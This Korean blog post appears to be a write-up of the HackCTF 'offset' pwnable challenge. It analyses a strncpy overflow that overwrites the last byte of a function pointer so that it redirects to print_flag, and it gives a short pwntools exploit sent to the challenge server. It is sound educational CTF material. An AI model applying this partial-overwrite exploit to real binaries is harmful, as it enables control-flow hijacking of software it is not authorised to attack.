check
- 32bit
- Full RELRO
- PIE
Analyze
Pseudo Code (IDA)
- select_func 함수에서 src는 main함수에서 s를 받는다.
- select_func에서 strncpy함수를 이용하여 dest에 src의 내용을 0x1F(31byte)만큼 복사한다.
- one, two 함수는 단순하게 문자열을 출력하는 함수이다.
- select_func에서는 포인터 v3에 함수 two를 리턴했다. select_func이 종료될 때 v3이 리턴된다. 즉, v3이 가리키는 함수가 리턴되므로 이 값을 조작하면 원하는 함수를 리턴할 수 있을 것 같다.
- 그리고 dest와 v3 사이의 거리는 0x2A-0xC (=42-12) = 30byte이다. 따라서, src에서 dest로 복사되는 내용을 이용하여 31byte를 쓰면 v3 가장 끝 한 바이트를 변경해줄 수 있을 것 같다.
- print_flag라는 함수가 있다. 이 함수로 리턴하게끔 하면 flag를 얻을 수 있을 것 같다.
two함수의 offset은 0x000006ad, printf_flag 함수의 offset은 0x000006df으로 마지막 한 바이트만 다르다!
>> \xdf 로 덮어쓰면 마지막 한 바이트만 다르기 때문에 print_flag로 흐름을 바꿀 수 있을 것이다.!
exploit 하기에 앞서 gdb로 한 번 확인을 해보면
우선, 0x000007d4 <+85>: call eax 에 breakpoint를 설정했다. 그리고 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB"를 입력했다.
Exploit
from pwn import *
context.log_level = 'debug'
#p = process("./offset")
p = remote("ctf.j0n9hyun.xyz", 3007)
pl = "A"*(0x2A - 0xC)
pl += "\xdf"
p.sendlineafter("?\n", pl)
p.interactive()
'System > PWNABLE' 카테고리의 다른 글
[LOB] orc → wolfman (0) | 2021.02.05 |
---|---|
[HackCTF] 내 버퍼가 흘러넘친다!!! (prob1) (2) | 2021.02.04 |
[HackCTF] basic_bof2 (2) | 2021.02.01 |
[HackCTF] ROP (2) | 2021.02.01 |
[HackCTF] bof_basic (1) | 2021.01.22 |